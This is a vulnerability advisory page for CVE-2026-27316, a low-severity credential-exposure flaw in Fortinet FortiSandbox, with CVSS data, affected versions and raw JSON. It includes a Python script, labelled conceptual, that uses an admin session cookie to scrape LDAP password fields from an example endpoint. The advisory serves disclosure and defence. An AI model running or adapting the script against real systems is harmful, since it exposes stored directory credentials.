Security Vulnerability Report
中文
CVE-2026-27316 CVSS 2.7 LOW

CVE-2026-27316

Published: 2026-04-14 16:16:38
Last Modified: 2026-04-22 18:54:02

Description

A insufficiently protected credentials vulnerability in Fortinet FortiSandbox 5.0.0 through 5.0.5, FortiSandbox 4.4 all versions, FortiSandbox PaaS 5.0.1 through 5.0.5 may allow an authenticathed administrator to read LDAP server credentials via client-side inspection.

CVSS Details

CVSS Score
2.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:fortinet:fortisandbox:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:fortinet:fortisandbox_cloud:5.0.4:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:fortinet:fortisandbox_cloud:5.0.5:*:*:*:*:*:*:* - VULNERABLE
FortiSandbox 4.4 (所有版本)
FortiSandbox 5.0.0 - 5.0.5
FortiSandbox PaaS 5.0.1 - 5.0.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept (Conceptual) # This script simulates how an authenticated admin might extract credentials via client-side inspection. # In a real scenario, this would require a valid admin session cookie. import requests from bs4 import BeautifulSoup # Target URL (Example) target_url = "https://fortisandbox-example.com/api/ldap/config" # Admin session cookie (required) cookies = {'session_id': 'ADMIN_SESSION_COOKIE_HERE'} try: # Send request to fetch LDAP configuration response = requests.get(target_url, cookies=cookies, verify=False) if response.status_code == 200: # Parse the content to find password fields soup = BeautifulSoup(response.text, 'html.parser') # Look for input fields typically containing passwords password_inputs = soup.find_all('input', {'type': 'password'}) print("[+] Potential credential fields found:") for inp in password_inputs: # Sometimes passwords are pre-filled in value attribute or visible in DOM print(f"Field Name: {inp.get('name')}, Value: {inp.get('value')}") # Also check raw response for JSON structures containing 'password' if 'password' in response.text.lower(): print("[+] Alert: The word 'password' found in response body. Inspect source manually.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-27316", "sourceIdentifier": "[email protected]", "published": "2026-04-14T16:16:37.863", "lastModified": "2026-04-22T18:54:01.610", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A insufficiently protected credentials vulnerability in Fortinet FortiSandbox 5.0.0 through 5.0.5, FortiSandbox 4.4 all versions, FortiSandbox PaaS 5.0.1 through 5.0.5 may allow an authenticathed administrator to read LDAP server credentials via client-side inspection."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-522"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortisandbox:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.0", "versionEndExcluding": "5.0.6", "matchCriteriaId": "69DCB6D2-21D3-4EE8-9A81-5DA8292EFB28"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortisandbox_cloud:5.0.4:*:*:*:*:*:*:*", "matchCriteriaId": "E5E86B19-95E8-4107-85DC-EFE47225418C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortisandbox_cloud:5.0.5:*:*:*:*:*:*:*", "matchCriteriaId": "FDAB696D-20A1-4C1A-8DD6-FDECD560AC9C"}]}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-26-113", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}